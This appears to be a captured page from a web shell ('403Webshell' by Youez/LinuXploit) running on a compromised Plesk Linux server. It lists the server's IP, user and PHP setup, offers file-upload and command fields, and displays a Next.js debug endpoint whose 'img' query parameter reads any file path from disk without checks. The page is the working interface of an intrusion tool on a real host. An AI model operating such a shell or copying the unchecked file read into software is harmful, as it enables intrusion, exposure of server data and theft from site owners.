403Webshell
Server IP : 217.154.3.148  /  Your IP : 216.73.216.90
Web Server : Apache
System : Linux blissful-wright.217-154-3-148.plesk.page 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : gracious-boyd_hfhh1h8vo9n ( 10000)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/pages/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/pages/api/mask-debug.ts
import type { NextApiRequest, NextApiResponse } from 'next'
import fs from 'node:fs/promises'

// interne Analyze-URL (Loopback, damit kein Nginx beteiligt ist)
const ANALYZE_URL = process.env.MASK_DEBUG_ANALYZE_URL || 'http://127.0.0.1:3001/nextjs/api/analyze'
// Standard-Testbild (kann via ?img=... übersteuert werden)
const DEFAULT_IMG = process.env.MASK_DEBUG_IMG || '/var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/testimg/7xm.xyz332401.jpg'
// Standard-Parameter
const MASKW = process.env.MASK_DEBUG_MASKW || '0.70'
const BLUR  = process.env.MASK_DEBUG_BLUR  || '3.5'

export const config = { api: { bodyParser: false } } // wir bauen selbst Multipart

export default async function handler(req: NextApiRequest, res: NextApiResponse) {
  try {
    const imgPath = (typeof req.query.img === 'string' && req.query.img) ? req.query.img : DEFAULT_IMG
    const maskw   = (typeof req.query.maskw === 'string' && req.query.maskw) ? req.query.maskw : MASKW
    const blur    = (typeof req.query.blur === 'string'  && req.query.blur)  ? req.query.blur  : BLUR

    const buf = await fs.readFile(imgPath as string)

    // Multipart bauen (Node 18+ hat FormData/Blob)
    const fd = new FormData()
    const arrayBuffer = buf.buffer.slice(buf.byteOffset, buf.byteOffset + buf.byteLength) as ArrayBuffer
    const blob = new Blob([arrayBuffer], { type: 'image/jpeg' })
    fd.append('file', blob, 'test.jpg')

    const url = `${ANALYZE_URL}?seg=1&maskw=${encodeURIComponent(maskw)}&maskblur=${encodeURIComponent(blur)}`
    const r = await fetch(url, { method: 'POST', body: fd })
    if (!r.ok) {
      const txt = await r.text()
      res.status(502).json({ ok: false, error: `analyze failed: ${r.status}`, body: txt })
      return
    }
    const json = await r.json() as any
    const fgMask: string | undefined = json?.fg_mask
    if (!fgMask || typeof fgMask !== 'string') {
      res.status(500).json({ ok: false, error: 'no fg_mask in response', json })
      return
    }

    // data:image/png;base64,... → reines Base64
    const base64 = fgMask.replace(/^data:image\/png;base64,/, '')
    const png = Buffer.from(base64, 'base64')
    res.setHeader('Content-Type', 'image/png')
    res.setHeader('Cache-Control', 'no-store')
    res.status(200).send(png)
  } catch (e: any) {
    res.status(500).json({ ok: false, error: String(e?.message || e) })
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit